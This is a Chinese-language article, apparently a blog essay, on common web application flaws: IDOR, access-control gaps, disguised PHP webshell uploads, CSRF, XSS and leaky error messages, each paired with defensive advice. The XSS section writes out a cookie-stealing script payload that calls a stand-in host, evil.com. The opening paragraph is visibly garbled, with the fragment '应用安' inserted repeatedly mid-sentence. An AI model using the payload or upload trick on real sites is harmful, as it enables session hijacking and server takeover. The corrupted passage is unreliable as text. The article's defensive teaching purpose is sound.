2023年，应用安某电商平台的应用安订单查询接口被爬虫盯上了。攻击者没有用暴力破解，应用安而是应用安直接遍历订单ID——从1000001开始，每次加1。应用安三小时内，应用安他们拉走了近百万条用户数据，应用安包括姓名、应用安电话和收货地址。应用安问题出在哪？应用安接口没有校验当前登录用户是否真的拥有这个订单。这就是应用安最典型的越权漏洞，也叫IDOR（不安全的应用安直接对象引用）。它不依赖什么高深技术，应用安只需要一个能自增的应用安数字。

很多人一聊Web安全就想到SQL注入、应用安XSS这些老面孔。它们确实还在，但现代框架已经帮你挡掉了大部分低级错误。真正要命的是逻辑层面的漏洞——代码能跑，功能正常，可就是没考虑“用户A能不能操作B的数据”。上面那个案例里，开发人员可能觉得“订单ID是随机的”或者“用户不会去改URL”。攻击者偏偏就会。

我见过一个内部管理系统，删除用户的接口长这样：/api/user/delete?id=123。前端界面上，普通管理员只能看到自己创建的用户，所以按钮只对那些人显示。但后端呢？它只检查了“你是不是管理员”，没检查“这个用户是不是你创建的”。结果一个低权限账号，手动构造请求就能删掉整个公司的账号。修复方案其实就一行代码：在删除前加个 WHERE creator_id = current_user_id。可这一行，很多团队上线前就是没写。

再说说文件上传。有个社交产品允许用户上传头像，后端只检查了 Content-Type 是不是 image/jpeg。攻击者把一句话木马改成 .jpg 后缀，再抓包把 Content-Type 改成 image/jpeg，服务器就乖乖存下了。更离谱的是，那个上传目录还能直接通过URL访问。于是 shell.jpg 被当成PHP执行了——因为服务器配置里，.jpg 也被映射给了PHP解析器。这种配置失误比漏洞本身更常见。

CSRF（跨站请求伪造）现在被谈得少了，但没消失。一个银行转账接口，如果只依赖Cookie做身份验证，攻击者做个钓鱼页面，里面藏个自动提交的表单，就能在用户不知情时转走钱。防御手段不复杂：加个CSRF Token，或者检查 Origin 头。可有些老系统就是懒得改，觉得“用户不会访问恶意网站”。现实是，用户什么网站都点。

XSS依然活跃，只是形态变了。以前是弹窗，现在是偷Token。一个评论区没做转义，攻击者发一段 <script>fetch('https://evil.com?c='+document.cookie)</script>，任何看到这条评论的人，Cookie就没了。如果站点没设 HttpOnly，攻击者甚至能直接冒充用户。很多前端框架默认转义，但一旦你用 dangerouslySetInnerHTML 或者 v-html，防线就破了。开发者图方便，攻击者就图你的数据。

安全不是加个WAF就完事。WAF能挡已知攻击模式，但挡不住逻辑漏洞。一个越权请求，参数完全合法，WAF看不出问题。真正有效的做法是在代码层面做权限校验——每个接口、每次数据访问，都问一句：当前用户是谁？他有没有权利做这件事？别信任前端传来的任何ID、角色或标志位。后端必须重新查一遍。

还有一点常被忽略：错误信息泄露。登录失败时返回“用户名不存在”还是“密码错误”，看起来是小事。攻击者用这个就能枚举出有效用户名。接着就是撞库。正确做法是统一返回“用户名或密码错误”。同样，堆栈信息、数据库报错、内部IP，都不该出现在生产环境的响应里。我见过一个API直接把SQL语句拼在错误里返回，连表名和字段都看得一清二楚。

最后说个真实观察：很多团队把安全测试放在上线前一周。这时候改架构已经来不及了，只能打补丁。补丁往往又引入新问题。比较好的节奏是，每写一个接口，就顺手想一下：这个参数能被篡改吗？这个操作需要什么权限？返回的数据该不该脱敏？花五分钟，比事后救火划算得多。Web应用安全不是一道墙，而是一堆小决定的总和。每个决定都做对一点，整体就安全一点。